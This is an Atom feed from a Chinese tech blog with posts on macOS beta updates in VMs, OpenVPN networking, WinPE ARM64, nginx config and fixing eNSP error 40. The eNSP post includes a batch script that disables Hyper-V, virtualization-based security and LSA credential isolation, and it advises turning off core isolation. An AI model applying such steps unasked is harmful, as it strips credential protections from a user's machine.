<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="https://www.hestudio.net/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-CN">
  <id>https://www.hestudio.net/</id>
  <title>heStudio</title>
  <subtitle>Welcome to the pit!</subtitle>
  <updated>2026-07-03T11:34:58.578Z</updated>
  <generator>@vuepress/plugin-feed</generator>
  <link rel="self" href="https://www.hestudio.net/atom.xml"/>
  <link rel="alternate" href="https://www.hestudio.net/"/>
  <category term="macOS"/>
  <category term="整活记录"/>
  <category term="新年新活"/>
  <category term="软件发布"/>
  <category term="Windows"/>
  <category term="Android"/>
  <category term="CTF"/>
  <category term="Linux"/>
  <category term="Python"/>
  <category term="软件补丁"/>
  <category term="Q&amp;A"/>
  <category term="Proxmox VE"/>
  <contributor>
    <name>库林</name>
  </contributor>
  <contributor>
    <name>undefined</name>
  </contributor>
  <contributor>
    <name>帅哥</name>
  </contributor>
  <contributor>
    <name>twelfth</name>
  </contributor>
  <contributor>
    <name>银灰不喜欢打针💉</name>
  </contributor>
  <contributor>
    <name>春不许</name>
  </contributor>
  <contributor>
    <name>不会吧^^</name>
  </contributor>
  <contributor>
    <name>岛屿</name>
  </contributor>
  <contributor>
    <name>江南郡府</name>
  </contributor>
  <contributor>
    <name>南拥夏栀</name>
  </contributor>
  <contributor>
    <name>翀</name>
  </contributor>
  <contributor>
    <name>群主吊毛</name>
  </contributor>
  <contributor>
    <name>///天</name>
  </contributor>
  <contributor>
    <name>封灵</name>
  </contributor>
  <contributor>
    <name>橘颂.</name>
  </contributor>
  <contributor>
    <name>tomorrow will be better</name>
  </contributor>
  <contributor>
    <name>蒙奇奇</name>
  </contributor>
  <contributor>
    <name>微风清扬</name>
  </contributor>
  <contributor>
    <name>emmmmmma</name>
  </contributor>
  <contributor>
    <name>摘星知缺</name>
  </contributor>
  <contributor>
    <name>.</name>
  </contributor>
  <contributor>
    <name>浅♡忆</name>
  </contributor>
  <contributor>
    <name>沈浪</name>
  </contributor>
  <contributor>
    <name>登真</name>
  </contributor>
  <contributor>
    <name>404 not found</name>
  </contributor>
  <contributor>
    <name>yms</name>
  </contributor>
  <contributor>
    <name>AE86</name>
  </contributor>
  <contributor>
    <name>晚风</name>
  </contributor>
  <contributor>
    <name>酷小呵</name>
  </contributor>
  <entry>
    <title type="text">另类的macOS Beta安装方式（使用pkg安装包+使用命令获取Beta更新权限）</title>
    <id>https://www.hestudio.net/posts/get-macos-beta-command.html</id>
    <link href="https://www.hestudio.net/posts/get-macos-beta-command.html"/>
    <updated>2026-07-03T11:16:12.000Z</updated>
    <summary type="html"><![CDATA[<p>在 macOS 新版本发布之后，很多开发者和极客想要体验新系统特性，但是又不想在自己的主力 Mac 更新 beta 版本（因为不太稳定），只能尝试在虚拟机上安装。但是在上手安装虚拟机时，就会发现以下的几个深坑：</p>
<ul>
<li>macOS 正式版不能直接安装更新的测试版的虚拟机，需要安装测试版Xcode或者Mobile Device Support.<sup class="footnote-ref"><a href="#footnote1">[1]</a><a class="footnote-anchor" id="footnote-ref1"></a></sup></li>
<li>如果你在 macOS Tahoe 26.5.1 及更早版本上安装了 Xcode 27 测试版，由于已知错误，macOS 虚拟机安装将会失败并会损坏你的macOS的虚拟机模块。要恢复虚拟机安装功能，需要<a href="https://support.apple.com/en-us/102655" target="_blank" rel="noopener noreferrer">重新安装 macOS</a>操作。<sup class="footnote-ref"><a href="#footnote2">[2]</a><a class="footnote-anchor" id="footnote-ref2"></a></sup></li>
<li>在虚拟机中登录加入开发者计划的Apple账号后会发现你不能在虚拟机中接收Beta更新。<sup class="footnote-ref"><a href="#footnote3">[3]</a><a class="footnote-anchor" id="footnote-ref3"></a></sup></li>
</ul>]]></summary>
    <content type="html"><![CDATA[<p>在 macOS 新版本发布之后，很多开发者和极客想要体验新系统特性，但是又不想在自己的主力 Mac 更新 beta 版本（因为不太稳定），只能尝试在虚拟机上安装。但是在上手安装虚拟机时，就会发现以下的几个深坑：</p>
<ul>
<li>macOS 正式版不能直接安装更新的测试版的虚拟机，需要安装测试版Xcode或者Mobile Device Support.<sup class="footnote-ref"><a href="#footnote1">[1]</a><a class="footnote-anchor" id="footnote-ref1"></a></sup></li>
<li>如果你在 macOS Tahoe 26.5.1 及更早版本上安装了 Xcode 27 测试版，由于已知错误，macOS 虚拟机安装将会失败并会损坏你的macOS的虚拟机模块。要恢复虚拟机安装功能，需要<a href="https://support.apple.com/en-us/102655" target="_blank" rel="noopener noreferrer">重新安装 macOS</a>操作。<sup class="footnote-ref"><a href="#footnote2">[2]</a><a class="footnote-anchor" id="footnote-ref2"></a></sup></li>
<li>在虚拟机中登录加入开发者计划的Apple账号后会发现你不能在虚拟机中接收Beta更新。<sup class="footnote-ref"><a href="#footnote3">[3]</a><a class="footnote-anchor" id="footnote-ref3"></a></sup></li>
</ul>
<blockquote>
<p>并且 macOS 27 不在支持Intel架构的 Mac 设备，所以黑苹果方案也不可行。</p>
</blockquote>
<p>在苹果的层层阻挠之下，我们应该不能使用在实体机之外的方案安装测试版的虚拟机了吧？不，还是有方案的。在基于Apple Silicon的Mac上安装macOS虚拟机，使用的是统一的虚拟化框架<sup class="footnote-ref"><a href="#footnote4">[4]</a><a class="footnote-anchor" id="footnote-ref4"></a></sup>。在使用IPSW进行全新安装时，由于<code>VZMacOSInstaller</code>API差异，会导致安装失败。<sup class="footnote-ref"><a href="#footnote5">[5]</a><a class="footnote-anchor" id="footnote-ref5"></a></sup>但是只需要绕开这个API即可安装。在没有测试版系统设备的前提下，只能先安装正式版本的macOS的虚拟机，然后再升级到macOS 27 Beta.</p>
<p>在社区中有人提供了解决方案<sup class="footnote-ref"><a href="#footnote6">[6]</a><a class="footnote-anchor" id="footnote-ref6"></a></sup>，在系统中输入下面这一段命令，使得系统可以在Beta通道获取更新。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">sudo</span> defaults <span class="token function">write</span> com.apple.MobileAsset MobileAssetAssetAudience <span class="token parameter variable">-string</span> 621ba5ab-54b6-4a71-891a-425ac0ce4551</span>
<span class="line"><span class="token function">sudo</span> defaults <span class="token function">write</span> com.apple.MobileAsset MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate <span class="token parameter variable">-string</span> <span class="token string">"https://swscan.apple.com/content/catalogs/others/index-27seed-27-26-15-14-13-12-10.16-10.15-10.14-10.13-10.12-10.11-10.10-10.9-mountainlion-lion-snowleopard-leopard.merged-1.sucatalog.gz"</span></span>
<span class="line"><span class="token function">sudo</span> <span class="token function">killall</span> <span class="token parameter variable">-HUP</span> mobileassetd</span>
<span class="line"><span class="token function">sudo</span> <span class="token function">killall</span> <span class="token parameter variable">-HUP</span> betaenrollmentd</span>
<span class="line"><span class="token function">open</span> <span class="token string">"x-apple.systempreferences:com.apple.Software-Update-Settings.extension"</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>其中，<code>MobileAssetAssetAudience</code>和<code>MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate</code>可以在已经开启对应Beta版通道的macOS中提取。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">sudo</span> defaults <span class="token builtin class-name">read</span> com.apple.MobileAsset MobileAssetAssetAudience</span>
<span class="line"><span class="token function">sudo</span> defaults <span class="token builtin class-name">read</span> com.apple.MobileAsset MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="footnote1" class="footnote-item"><p>Installing macOS Tahoe virtual machine on a Mac running Sequoia, <a href="https://kb.parallels.com/en/130992" target="_blank" rel="noopener noreferrer">kb.parallels.com</a>. <a href="#footnote-ref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="footnote2" class="footnote-item"><p>If you installed Xcode 27 beta on macOS Tahoe 26.5.1 and earlier, macOS virtual machine installation will fail due to a known bug. To restore virtual machine installation functionality follow the How to reinstall macOS guide. (179068335) --Xcode 27 Beta 2 Release Notes, <a href="https://developer.apple.com/documentation/xcode-release-notes/xcode-27-release-notes" target="_blank" rel="noopener noreferrer">developer.apple.com</a>. <a href="#footnote-ref2" class="footnote-backref">↩︎</a></p>
</li>
<li id="footnote3" class="footnote-item"><p>Installing betas now requires signing in with an Apple ID that's enrolled in the beta program (be it the developer, customer, or public betas), and unfortunately signing in with an Apple ID inside a macOS VM is also not supported. --Upgrade to macOS Beta within VirtualBuddy?, <a href="https://github.com/insidegui/VirtualBuddy/discussions/194#discussioncomment-6406771" target="_blank" rel="noopener noreferrer">github.com</a>. <a href="#footnote-ref3" class="footnote-backref">↩︎</a></p>
</li>
<li id="footnote4" class="footnote-item"><p>The Virtualization framework provides high-level APIs for creating and managing virtual machines (VM) on Apple silicon and Intel-based Mac computers. Use this framework to boot and run macOS or Linux-based operating systems in custom environments that you define. The framework supports the Virtual I/O Device (VIRTIO) specification, which defines standard interfaces for many device types, including network, socket, serial port, storage, entropy, and memory-balloon devices. --Virtualization, <a href="https://developer.apple.com/documentation/virtualization" target="_blank" rel="noopener noreferrer">developer.apple.com</a>. <a href="#footnote-ref4" class="footnote-backref">↩︎</a></p>
</li>
<li id="footnote5" class="footnote-item"><p>A macOS 27 guest should run on a macOS 26.6 host, but we discovered a late incompatibility between the VZMacOSInstaller API on macOS 26.6 and the macOS 27 IPSW. --Does virtualizing macOS 27 require a macOS 27 host?, <a href="https://developer.apple.com/forums/thread/830118?answerId=890588022" target="_blank" rel="noopener noreferrer">developer.apple.com</a>. <a href="#footnote-ref5" class="footnote-backref">↩︎</a></p>
</li>
<li id="footnote6" class="footnote-item"><p>Instructions for macOS Golden Gate beta, <a href="https://github.com/insidegui/VirtualBuddy/discussions/194#discussioncomment-17407244" target="_blank" rel="noopener noreferrer">github.com</a>. <a href="#footnote-ref6" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
]]></content>
    <category term="macOS"/>
    <published>2026-07-03T11:16:12.000Z</published>
  </entry>
  <entry>
    <title type="text">【新年新活】大内网2.0！抽象的异地组网+固定出口公网IP方案</title>
    <id>https://www.hestudio.net/posts/big-internal-network-2.html</id>
    <link href="https://www.hestudio.net/posts/big-internal-network-2.html"/>
    <updated>2026-03-01T17:46:10.000Z</updated>
    <summary type="html"><![CDATA[<p>大家好，欢迎来看我的新年新活<sup class="footnote-ref"><a href="#footnote1">[1]</a><a class="footnote-anchor" id="footnote-ref1"></a></sup>。本期作为之前的大内网战略<sup class="footnote-ref"><a href="#footnote2">[2]</a><a class="footnote-anchor" id="footnote-ref2"></a></sup>的延续，又带来的新的方案。</p>
<p>之前的方案有一些弊端，WireGuard原生使用UDP协议，在部分网络环境下会遭遇严重的丢包或拦截。虽然当时我们可以借助Phantun进行缓解，利用其将UDP数据流转换为伪装TCP数据流的特性，强行穿透三层和四层（NAPT）防火墙或NAT设备，但这种外挂工具链并不能在所有操作系统上完美兼容。因此，为了彻底解决协议层面的阻碍，本期我们将换用更成熟稳定的OpenVPN作为本项目的基础环境。</p>]]></summary>
    <content type="html"><![CDATA[<p>大家好，欢迎来看我的新年新活<sup class="footnote-ref"><a href="#footnote1">[1]</a><a class="footnote-anchor" id="footnote-ref1"></a></sup>。本期作为之前的大内网战略<sup class="footnote-ref"><a href="#footnote2">[2]</a><a class="footnote-anchor" id="footnote-ref2"></a></sup>的延续，又带来的新的方案。</p>
<p>之前的方案有一些弊端，WireGuard原生使用UDP协议，在部分网络环境下会遭遇严重的丢包或拦截。虽然当时我们可以借助Phantun进行缓解，利用其将UDP数据流转换为伪装TCP数据流的特性，强行穿透三层和四层（NAPT）防火墙或NAT设备，但这种外挂工具链并不能在所有操作系统上完美兼容。因此，为了彻底解决协议层面的阻碍，本期我们将换用更成熟稳定的OpenVPN作为本项目的基础环境。</p>
<p>而且，我们使用的服务器是具有公网IP的。我们可以通过NAT端口转发，将我们大内网中的某个端口映射到公网上。比如说你的大内网中有一台服务器，这个时候你可以将服务器的业务端口映射到公网，然后将管理端口保留在大内网中进行异地管理。</p>
<p>在开始实操之前，依旧是我们传统的：</p>
<div class="hint-container warning">
<p class="hint-container-title">免责声明 <s>(叠甲环节)</s></p>
<p>我需要使用专门的段落强调一下，此处所提到的 VPN 是一种技术，正确使用是合法的，目前国内有许多企业或者高校仍在使用 VPN 技术进行远程办公，所以不要谈 VPN 色变。</p>
<p>在开始之前，我们需要明确的三点是：</p>
<ol>
<li><strong>如果你在学校或者单位使用，请清楚由于此行为导致的危害，包括但不限于由于你的操作而导致的有意或者无意中的泄密或者危害到单位或者学校的其他设备的安全以及之后的经济或者人身安全。如果你符合条件，并执意要继续操作，则造成的所有责任均为你个人承担。</strong></li>
<li>如果你正<strong>准备跟随本文的描述进行实践操作</strong>，请<strong>通篇阅读</strong>，并<strong>再三思考</strong>此文是否适合你。本文仅描述<strong>其中的一个个例</strong>（即我本人使用的方案），并<strong>不适合每个人</strong>，请在合适的时机做出自己的思考，<strong>切勿照搬照抄</strong>（每个人的网络环境都<strong>不一样</strong>）。</li>
<li>在操作之前，你需要具备基础的<strong>视力</strong>、<strong>计算机操作能力</strong>、<strong>Linux 基础知识</strong>、<strong>网络的基础知识</strong>、<strong>信息的检索能力</strong>。</li>
</ol>
</div>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="footnote1" class="footnote-item"><p>去年旧活: <a href="https://www.hestudio.net/posts/ollama-on-termux.html" target="_blank" rel="noopener noreferrer">【新年新活】在安卓手机上使用Ollama运行本地大模型</a> <a href="#footnote-ref1" class="footnote-backref">↩︎</a></p>
</li>
<li id="footnote2" class="footnote-item"><p>之前的大内网战略: <a href="https://www.hestudio.net/posts/wireguard-tutorial.html" target="_blank" rel="noopener noreferrer">使用WireGuard组建大内网环境</a> <a href="#footnote-ref2" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
]]></content>
    <category term="整活记录"/>
    <category term="新年新活"/>
    <published>2026-03-01T17:46:10.000Z</published>
  </entry>
  <entry>
    <title type="text">微信公众号 Markdown 编辑器</title>
    <id>https://www.hestudio.net/common/wechat-markdown-renderer/</id>
    <link href="https://www.hestudio.net/common/wechat-markdown-renderer/"/>
    <updated>2026-02-08T11:52:59.000Z</updated>
    <summary type="html"><![CDATA[
]]></summary>
    <content type="html"><![CDATA[
]]></content>
    <category term="软件发布"/>
    <published>2026-02-08T11:52:59.000Z</published>
  </entry>
  <entry>
    <title type="text">自制Windows PE ARM64</title>
    <id>https://www.hestudio.net/posts/winpe-arm64.html</id>
    <link href="https://www.hestudio.net/posts/winpe-arm64.html"/>
    <updated>2026-02-08T12:00:06.000Z</updated>
    <summary type="html"><![CDATA[<p>本次分享我制作的面向ARM64平台的Windows PE，填补ARM64没有图形化多工具Windows PE的空白。此PE基于Windows 11 26H1(10.0.28000.1)制作。</p>
<figure><img src="https://img.hestudio.net/2026/02/07/69872c9005d4a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>提供的软件如下：</p>
<table>
<thead>
<tr>
<th>软件</th>
<th>用途</th>
</tr>
</thead>
<tbody>
<tr>
<td>7-Zip</td>
<td>解压缩软件</td>
</tr>
<tr>
<td>AIDA64</td>
<td>硬件信息查看</td>
</tr>
<tr>
<td>BlueScreenView64</td>
<td>蓝屏记录查看</td>
</tr>
<tr>
<td>CPU-Z</td>
<td>CPU 与硬件信息查看</td>
</tr>
<tr>
<td>CrystalDiskInfo</td>
<td>硬盘健康/SMART 查看</td>
</tr>
<tr>
<td>CrystalDiskMark</td>
<td>硬盘性能测试</td>
</tr>
<tr>
<td>DiskGenius</td>
<td>磁盘分区与数据管理</td>
</tr>
<tr>
<td>Dism++</td>
<td>系统映像/组件维护</td>
</tr>
<tr>
<td>Everything</td>
<td>本地文件快速搜索</td>
</tr>
<tr>
<td>Explorer++</td>
<td>文件管理器替代</td>
</tr>
<tr>
<td>HWiNFO64</td>
<td>硬件监控与传感器信息</td>
</tr>
<tr>
<td>ImgDrive</td>
<td>虚拟光驱/镜像挂载</td>
</tr>
<tr>
<td>MemTest64</td>
<td>内存稳定性测试</td>
</tr>
<tr>
<td>PECMD</td>
<td>PE 启动菜单/脚本引擎</td>
</tr>
<tr>
<td>WinNTSetup</td>
<td>Windows 安装/部署工具</td>
</tr>
<tr>
<td>WinXshell</td>
<td>终端与 SSH 客户端</td>
</tr>
</tbody>
</table>]]></summary>
    <content type="html"><![CDATA[<p>本次分享我制作的面向ARM64平台的Windows PE，填补ARM64没有图形化多工具Windows PE的空白。此PE基于Windows 11 26H1(10.0.28000.1)制作。</p>
<figure><img src="https://img.hestudio.net/2026/02/07/69872c9005d4a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>提供的软件如下：</p>
<p>| 软件             | 用途                  |
|</p>
]]></content>
    <category term="Windows"/>
    <category term="整活记录"/>
    <published>2026-02-07T13:54:55.000Z</published>
  </entry>
  <entry>
    <title type="text">若依框架前端nginx伪静态配置</title>
    <id>https://www.hestudio.net/posts/ruoyi-nginx-404notfound.html</id>
    <link href="https://www.hestudio.net/posts/ruoyi-nginx-404notfound.html"/>
    <updated>2025-11-07T07:18:33.000Z</updated>
    <summary type="html"><![CDATA[<p>在生产环境部署若依框架前端的时候，会出现前端无法连接到后端，刷新后 404 等情况。</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d9c1664a6c.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/2025/11/07/690d9c206c91a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<p>在生产环境部署若依框架前端的时候，会出现前端无法连接到后端，刷新后 404 等情况。</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d9c1664a6c.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/2025/11/07/690d9c206c91a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>我们在部署的时候只需要在配置文件中（如果使用宝塔面板、1panel 等工具则将其添加到伪静态）添加下面的代码即可。其中，将 <code>http://127.0.0.1:8080/</code>替换为你的后端地址。</p>
<div class="language-conf line-numbers-mode" data-highlighter="prismjs" data-ext="conf"><pre><code class="language-conf"><span class="line">location / {</span>
<span class="line">    try_files $uri $uri/ /index.html;</span>
<span class="line">}</span>
<span class="line">location /prod-api/ {</span>
<span class="line">    proxy_set_header Host $http_host;</span>
<span class="line">    proxy_set_header X-Real-IP $remote_addr;</span>
<span class="line">    proxy_set_header REMOTE-HOST $remote_addr;</span>
<span class="line">    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span>
<span class="line"></span>
<span class="line">    proxy_pass http://127.0.0.1:8080/;</span>
<span class="line">}</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content>
    <category term="整活记录"/>
    <published>2025-11-07T07:18:33.000Z</published>
  </entry>
  <entry>
    <title type="text">解决eNSP报错方法和原因</title>
    <id>https://www.hestudio.net/posts/ensp-errcode-40.html</id>
    <link href="https://www.hestudio.net/posts/ensp-errcode-40.html"/>
    <updated>2025-11-07T06:59:17.000Z</updated>
    <summary type="html"><![CDATA[<p>目前来看 win11 运行 ensp 报 40 错误，主要问题出在内核隔离、防火墙、关闭虚拟化安全和解决 VirtualBox 的报错。</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d959b69266.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>关闭内核隔离，直接 win，然后搜索内核隔离就可以，然后点击详细关闭就可以。</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d95e7f3282.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<p>目前来看 win11 运行 ensp 报 40 错误，主要问题出在内核隔离、防火墙、关闭虚拟化安全和解决 VirtualBox 的报错。</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d959b69266.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>关闭内核隔离，直接 win，然后搜索内核隔离就可以，然后点击详细关闭就可以。</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d95e7f3282.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/2025/11/07/690d96021705f.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>关闭防火墙，这个 b 站都有详细的教学而且选择比较多，我不建议完全关闭防火墙，这里不做赘述。</p>
<p>然后是比较重点的问题，虚拟化的安全性是默认开启的，我们需要关闭虚拟化的安全性（图片是关闭后的）</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d964d2e63d.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这个关闭方法目前已知有 3 种，第一种是通过 bat 脚本关闭，这个脚本是由华为提供的，有新的版本，但是可能关不上，用老版本的可以关上，具体根据自己电脑来试。这里提供一个<a href="https://www.bilibili.com/video/BV1Vau8zjEuj/?buvid=XUB78B5B36B08E3D873CD0EE6DD857DA14451&amp;from_spmid=main.xcx.0.zXWVCDo.2op43fd08i60&amp;is_story_h5=false&amp;mid=hBPgvqaY1j6w2nOTAHzGwQ%3D%3D&amp;plat_id=116&amp;share_from=ugc&amp;share_medium=android&amp;share_plat=android&amp;share_session_id=68597ca3-68e0-4c6b-842c-c326e902a387&amp;share_source=WEIXIN&amp;share_tag=s_i&amp;spmid=united.player-video-detail.0.0&amp;timestamp=1762133093&amp;unique_k=03QEdAC&amp;up_id=483196156" target="_blank" rel="noopener noreferrer">视频链接</a>，为防止网盘过期，对应的老版本脚本会和这个文件放在一个文件夹。</p>
<div class="language-batch line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="batch" style="--vp-collapsed-lines:15;"><pre><code class="language-batch"><span class="line"><span class="token operator">@</span><span class="token command"><span class="token keyword">echo</span> off</span></span>
<span class="line"></span>
<span class="line"><span class="token command"><span class="token keyword">dism</span> <span class="token parameter attr-name">/Online</span> /Disable-Feature:microsoft-hyper<span class="token parameter attr-name">-v</span>-all <span class="token parameter attr-name">/NoRestart</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">dism</span> <span class="token parameter attr-name">/Online</span> /Disable-Feature:IsolatedUserMode <span class="token parameter attr-name">/NoRestart</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">dism</span> <span class="token parameter attr-name">/Online</span> /Disable-Feature:Microsoft-Hyper<span class="token parameter attr-name">-V</span>-Hypervisor <span class="token parameter attr-name">/NoRestart</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">dism</span> <span class="token parameter attr-name">/Online</span> /Disable-Feature:Microsoft-Hyper<span class="token parameter attr-name">-V</span>-Online <span class="token parameter attr-name">/NoRestart</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">dism</span> <span class="token parameter attr-name">/Online</span> /Disable-Feature:HypervisorPlatform <span class="token parameter attr-name">/NoRestart</span></span></span>
<span class="line"></span>
<span class="line"><span class="token comment">REM ===========================================</span></span>
<span class="line"></span>
<span class="line"><span class="token command"><span class="token keyword">mountvol</span> X: <span class="token parameter attr-name">/s</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">copy</span> <span class="token variable">%WINDIR%</span>\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi <span class="token parameter attr-name">/Y</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">bcdedit</span> <span class="token parameter attr-name">/create</span> {0cb3b571-2f2e<span class="token number">-4343</span>-a879-d86a476d7215} <span class="token parameter attr-name">/d</span> <span class="token string">"DebugTool"</span> <span class="token parameter attr-name">/application</span> osloader</span></span>
<span class="line"><span class="token command"><span class="token keyword">bcdedit</span> <span class="token parameter attr-name">/set</span> {0cb3b571-2f2e<span class="token number">-4343</span>-a879-d86a476d7215} path <span class="token string">"\EFI\Microsoft\Boot\SecConfig.efi"</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">bcdedit</span> <span class="token parameter attr-name">/set</span> {bootmgr} bootsequence {0cb3b571-2f2e<span class="token number">-4343</span>-a879-d86a476d7215}</span></span>
<span class="line"><span class="token command"><span class="token keyword">bcdedit</span> <span class="token parameter attr-name">/set</span> {0cb3b571-2f2e<span class="token number">-4343</span>-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO,DISABLE-VBS</span></span>
<span class="line"><span class="token command"><span class="token keyword">bcdedit</span> <span class="token parameter attr-name">/set</span> {0cb3b571-2f2e<span class="token number">-4343</span>-a879-d86a476d7215} device partition=X:</span></span>
<span class="line"><span class="token command"><span class="token keyword">mountvol</span> X: <span class="token parameter attr-name">/d</span></span></span>
<span class="line"><span class="token command"><span class="token keyword">bcdedit</span> <span class="token parameter attr-name">/set</span> hypervisorlaunchtype off</span></span>
<span class="line"></span>
<span class="line"><span class="token command"><span class="token keyword">echo</span>.</span></span>
<span class="line"><span class="token command"><span class="token keyword">echo</span>.</span></span>
<span class="line"><span class="token command"><span class="token keyword">echo</span>.</span></span>
<span class="line"><span class="token command"><span class="token keyword">echo</span>.</span></span>
<span class="line"><span class="token command"><span class="token keyword">echo</span> =======================================================</span></span>
<span class="line"><span class="token command"><span class="token keyword">echo</span> 当前操作已完成，接下来请关闭此窗口并重启电脑，然后根据屏幕提示完成剩下操作。</span></span>
<span class="line"><span class="token command"><span class="token keyword">pause</span> &gt; nul</span></span>
<span class="line"><span class="token command"><span class="token keyword">echo</span>.</span></span>
<span class="line"><span class="token command"><span class="token keyword">echo</span>.</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><blockquote>
<p>编者小注： 在记事本中，请另存为 ANSI 格式。</p>
</blockquote>
<p>第二种情况是进入 BOIS，然后进行操作，但是这种会影响虚拟机的使用。
第三种情况是下载雷电模拟器，用模拟器的引导来关闭，因为这个占用算力也影响模拟器运行，所以会附带他们的解决方法。</p>
<p>关闭虚拟安全，关闭完成后可以先试试能不能用。</p>
<p>如果不能，大概就是 VirtualBox 出的问题，进入 VirtualBox 打开 AR 模拟机会报错</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d976a7021b.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这就是 ensp 里面 AR 设备不能使用的原因</p>
<p>需要按照以下步骤:</p>
<ol>
<li>win+r 输入 <code>hdwwiz</code></li>
<li>选择高级，然后找到 VirtualBox 目录<code>drivers\network\netadp6</code>, 然后安装驱动。</li>
</ol>
<figure><img src="https://img.hestudio.net/2025/11/07/690d97d2289b3.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<ol start="3">
<li>打开 VirtualBox 选择全局工具，查看网络管理器，确定#2 网卡 ip 地址为 192.168.56.1/24，这个地址是固定的</li>
</ol>
<figure><img src="https://img.hestudio.net/2025/11/07/690d981d5c17f.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<ol start="4">
<li>选择 AR_Base，点击设置，修改连接方式和网卡，网卡后缀为#2,如图</li>
</ol>
<figure><img src="https://img.hestudio.net/2025/11/07/690d98540d41b.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>到了这一步 VirtualBox 的 AR 基本可以正常启动了，如图</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d986ba0a1f.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>5.然后进 ensp 去重新注册 AR 设备，只选 AR。</p>
<figure><img src="https://img.hestudio.net/2025/11/07/690d988d41f1f.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/2025/11/07/690d989f5be0a.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
]]></content>
    <author>
      <name>库林</name>
    </author>
    <category term="Windows"/>
    <contributor>
      <name>库林</name>
    </contributor>
    <published>2025-11-07T06:59:17.000Z</published>
    <rights>Copyright by 库林</rights>
  </entry>
  <entry>
    <title type="text">使用WireGuard组建大内网环境</title>
    <id>https://www.hestudio.net/posts/wireguard-tutorial.html</id>
    <link href="https://www.hestudio.net/posts/wireguard-tutorial.html"/>
    <updated>2026-03-01T17:46:10.000Z</updated>
